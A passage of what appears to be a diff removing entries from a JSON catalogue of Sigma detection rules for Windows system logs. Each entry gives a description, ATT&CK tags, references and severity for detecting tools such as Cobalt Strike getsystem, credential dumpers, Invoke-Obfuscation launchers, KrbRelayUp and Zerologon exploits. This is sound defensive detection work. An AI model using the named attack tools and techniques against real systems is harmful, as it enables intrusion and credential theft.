Roth", - "level": "low", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of smbexec.py tool by detecting a specific service installation", - "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", - "value": "smbexec.py Service Installation", - "meta": { - "refs": [ - "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.execution", - "attack.t1021.002", - "attack.t1569.002" - ], - "creation_date": "2018/03/20", - "filename": "win_system_hack_smbexec.yml", - "author": "Omer Faruk Celik", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "win_system_invoke_obfuscation_clip_services.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", - "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation", - "meta": { - "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2019/11/08", - "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "win_system_invoke_obfuscation_stdin_services.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", - "value": "Invoke-Obfuscation VAR+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "win_system_invoke_obfuscation_var_services.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "win_system_invoke_obfuscation_via_compress_services.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", - "value": "Invoke-Obfuscation Via Stdin", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/12", - "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", - "value": "Invoke-Obfuscation Via Use Clip", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", - "value": "Invoke-Obfuscation Via Use MSHTA", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", - "value": "Invoke-Obfuscation Via Use Rundll32", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "win_system_invoke_obfuscation_via_var_services.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", - "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", - "value": "KDC RC4-HMAC Downgrade CVE-2022-37966", - "meta": { - "refs": [ - "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/11/09", - "filename": "win_system_kdcsvc_rc4_downgrade.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", - "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", - "value": "KrbRelayUp Service Installation", - "meta": { - "refs": [ - "https://github.com/Dec0ne/KrbRelayUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ], - "creation_date": "2022/05/11", - "filename": "win_system_krbrelayup_service_installation.yml", - "author": "Sittikorn S, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", - "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", - "value": "Local Privilege Escalation Indicator TabTip", - "meta": { - "refs": [ - "https://github.com/antonioCoco/JuicyPotatoNG", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ], - "creation_date": "2022/10/07", - "filename": "win_system_lpe_indicators_tabtip.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the reporting of NTLMv1 being used between a client and server", - "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", - "value": "NTLMv1 Logon Between Client and Server", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1550/002/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" - ], - "tags": [ - "attack.execution", - "attack.t1550.002", - "attack.s0363" - ], - "creation_date": "2022/04/26", - "filename": "win_system_lsasrv_ntlmv1.yml", - "author": "Tim Shelton", - "level": "low", - "falsepositive": [ - "Environments that use NTLMv1" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", - "value": "Credential Dumping Tools Service Execution", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ], - "creation_date": "2017/03/05", - "filename": "win_system_mal_creddumper.yml", - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ], - "creation_date": "2019/10/26", - "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "level": "critical", - "falsepositive": [ - "Highly unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", - "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", - "value": "Moriya Rootkit", - "meta": { - "refs": [ - "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2021/05/06", - "filename": "win_system_moriya_rootkit.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", - "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", - "value": "NTFS Vulnerability Exploitation", - "meta": { - "refs": [ - "https://twitter.com/jonasLyk/status/1347900440000811010", - "https://twitter.com/wdormann/status/1347958161609809921", - "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499.001" - ], - "creation_date": "2021/01/11", - "filename": "win_system_ntfs_vuln_exploit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", - "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", - "value": "Windows Pcap Drivers", - "meta": { - "refs": [ - "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ], - "creation_date": "2020/06/10", - "filename": "win_system_pcap_drivers.yml", - "author": "Cian Heasley", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", - "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", - "value": "Zerologon Exploitation Using Well-known Tools", - "meta": { - "refs": [ - "https://www.secura.com/blog/zero-logon", - "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" - ], - "tags": [ - "attack.t1210", - "attack.lateral_movement" - ], - "creation_date": "2020/10/13", - "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", - "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", - "level": "critical", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell script installed as a Service", - "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", - "value": "PowerShell Scripts Installed as Services", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/10/06", - "filename": "win_system_powershell_script_installed_as_service.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects QuarksPwDump clearing access history in hive", - "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", - "value": "QuarksPwDump Clearing Access History", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2017/05/15", - "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", - "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", - "value": "Rare Service Installations", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ], - "creation_date": "2017/03/08", - "filename": "win_system_rare_service_installs.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Software installation", - "Software updates" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", - "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", - "value": "Potential RDP Exploit CVE-2019-0708", - "meta": { - "refs": [ - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://github.com/Ekultek/BlueKeep", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ], - "creation_date": "2019/05/24", - "filename": "win_system_rdp_potential_cve_2019_0708.yml", - "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", - "level": "medium", - "falsepositive": [ - "Bad connections or network interruptions" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", - "value": "Hacktool Service Registration or Execution", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/03/21", - "filename": "win_system_service_install_hacktools.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects NetSupport Manager service installation on the target system.", - "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", - "value": "NetSupport Manager Service Install", - "meta": { - "refs": [ - "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/10/31", - "filename": "win_system_service_install_netsupport_manager.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the tool" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects PAExec service installation", - "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", - "value": "PAExec Service Installation", - "meta": { - "refs": [ - "https://www.poweradmin.com/paexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2022/10/26", - "filename": "win_system_service_install_paexec.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", - "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", - "value": "New PDQDeploy Service - Server Side", - "meta": { - "refs": [ - "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/22", - "filename": "win_system_service_install_pdqdeploy.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the tool" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", - "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", - "value": "New PDQDeploy Service - Client Side", - "meta": { - "refs": [ - "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/22", - "filename": "win_system_service_install_pdqdeploy_runner.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the tool" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", - "value": "PsExec Service Installation", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2017/06/12", - "filename": "win_system_service_install_psexec.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Remote Utilities Host service installation on the target system.", - "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", - "value": "Remote Utilities Host Service Install", - "meta": { - "refs": [ - "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/10/31", - "filename": "win_system_service_install_remote_utilities.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the tool" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", - "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", - "value": "Sliver C2 Default Service Installation", - "meta": { - "refs": [ - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2022/08/25", - "filename": "win_system_service_install_sliver.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", - "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", - "value": "New Service Uses Double Ampersand in Path", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/07/05", - "filename": "win_system_service_install_susp_double_ampersand.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", - "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", - "value": "DHCP Server Loaded the CallOut DLL", - "meta": { - "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2017/05/15", - "filename": "win_system_susp_dhcp_config.yml", - "author": "Dimitrios Slamaris", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", - "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", - "value": "DHCP Server Error Failed Loading the CallOut DLL", - "meta": { - "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2017/05/15", - "filename": "win_system_susp_dhcp_config_failed.yml", - "author": "Dimitrios Slamaris, @atc_project (fix)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", - "value": "System Eventlog Cleared", - "meta": { - "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ], - "creation_date": "2022/05/17", - "filename": "win_system_susp_eventlog_cleared.yml", - "author": "Florian Roth, Tim Shelton", - "level": "high", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", - "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", - "value": "ProcessHacker Privilege Elevation", - "meta": { - "refs": [ - "https://twitter.com/1kwpeter/status/1397816101455765504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2021/05/27", - "filename": "win_system_susp_proceshacker.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", - "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", - "value": "RTCore Suspicious Service Installation", - "meta": { - "refs": [ - 